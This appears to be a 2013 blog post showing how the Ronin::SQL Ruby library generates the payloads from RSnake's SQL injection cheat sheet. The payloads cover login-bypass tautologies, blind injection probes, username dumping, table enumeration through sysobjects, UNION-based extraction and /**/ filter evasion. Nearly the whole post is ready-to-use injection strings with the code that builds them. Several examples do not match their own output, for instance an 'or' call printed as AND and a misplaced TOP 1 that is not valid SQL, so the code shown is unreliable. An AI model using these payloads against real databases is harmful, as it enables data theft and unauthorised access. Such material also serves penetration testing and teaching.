RSnakes SQLi Cheat Sheet using ronin-sql 1.1.0
22 Jan 2013 — postmodern
After the release of ronin-sql 1.0.0, I wondered if we could recreate RSnake's SQL Injection Cheat Sheet using the new Ronin::SQL Domain Specific Language (DSL). Let's see how far we can get.
Normal SQL Injection:
1 OR 1=1
sqli = Ronin::SQL::Injection.new
sqli.or { 1 == 1 }
puts sqli
# => 1 OR 1=1
Normal SQL Injection using encapsulated data:
1' OR '1'='1
sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.or { string(1) == string(1) }
puts sqli
# 1' OR '1'='1
Blind SQL Injection:
1 AND 1=1
sqli = Ronin::SQL::Injection.new
sqli.or { 1 == 1 }
puts sqli
# 1 AND 1=1
Blind SQL Injection to attempt to locate tablename by brute-force
iteration through table name permutations:
1' AND 1=(SELECT COUNT(*) FROM tablenames); --
sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.and { select(count).from(:tablenames) == 1 }
puts sqli
# 1 AND (SELECT COUNT(*) FROM tablenames)=1
Creating errors by calling non-existent tables:
1' AND non_existant_table = '1
sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.and { non_existant_table == '1' }
puts sqli
# 1' AND non_existant_table='1
Dumping usernames:
' OR username IS NOT NULL OR username = '
sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.or { username.is_not(null) }.or { username == '' }
puts sqli
# 1' OR username IS NOT NULL OR username='
Enumerating through database table names:
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116
sqli = Ronin::SQL::Injection.new
sqli.and {
ascii(
lower(
substring(
select(:name).top(1).from(sysobjects).where { xtype == 'U' }, 1, 1
)
)
) > 116
}
puts sqli
# 1 AND ASCII(LOWER(SUBSTRING((SELECT name TOP 1 FROM sysobjects WHERE xtype='U'),1,1)))>116
Finding user supplied tables using the sysObjects table in SQL Server:
1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --
sqli = Ronin::SQL::Injection.new
sqli.union_all {
select(1,2,3,4,5,6,name).from(sysObjects).where { xtype == 'U' }
}
puts sqli.to_sql(:terminate => true)
# 1 UNION ALL (SELECT (1,2,3,4,5,6,name) FROM sysObjects WHERE xtype='U');--
Bypass filters by using /**/ instead of spaces:
1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users
sqli = Ronin::SQL::Injection.new
sqli.union { select(1,2,3,4,id).from(users) }
puts sqli.to_sql(:space => '/**/')
# 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users
Not too shabby!